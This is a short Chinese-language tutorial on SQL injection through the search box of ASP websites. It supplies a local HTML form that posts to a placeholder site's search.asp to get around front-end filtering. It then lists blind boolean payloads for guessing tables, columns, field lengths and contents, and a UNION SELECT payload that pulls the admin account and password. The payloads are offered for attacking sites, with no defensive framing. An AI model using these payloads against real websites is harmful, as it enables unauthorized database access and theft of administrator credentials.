在搜索框里,我们输入一个关键词,该关键词必须在这个站能搜索到信息。比如这个站我输入了1,搜索到了很多新闻,判断这个搜索框是否有注入漏动。
直接在前台的搜索框里注入被限制的话,可以本地构造表单进行注入:
<html>
<form name="form1" method="post" action="https://www.xxx.com/search.asp">
类型:
<label>
<input name="t" type="text" id="t" value="1">
</label>
<p>
内容:
<label>
<input name="key" type="text" id="key">
</label>
</p>
<p>
<label>
<input type="submit" name="Submit" value="提交">
</label>
</p>
</form>
1%' ' and '%'=' 系统报错
1%' and 1=1 and '%'=' 返回正确
1%' and 1=2 and '%'=' 返回错误
1%' and (select count(*) from 表段) and '%'=' 猜表段
1%' and (select count(字段) from 表段) and '%'=' 猜字段
1%' and (select top 1 len(字段) from 表段)>16 and '%'=' 猜字段长度
1%' and (select top 1 asc(mid(name,1,1)) from 表段)>97 and '%'=' 猜内容
用牛族字符转换器转换数字。(猜长度的时候,选择对的前面那个错的数字!或是直接把大于号改为等于号,看看正确就是了)
有的网站存在搜索框,利用这个搜索框进行注射从而爆出管理帐号密码:%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
我们在搜索框里,搜索关键词1浏览器地址栏显示:https://www.XXXXXX.com/News_search.asp?key=1&otype=msg
这里的key=1,就是说我们搜索得关键词1,我们要做的就是把key=1放到最后面,把连接变成:https://www.XXXXXX.com/News_search.asp?otype=msg&key=1
或者直接把&otype=msg删除,变成:https://www.XXXXXX.com/News_search.asp?key=1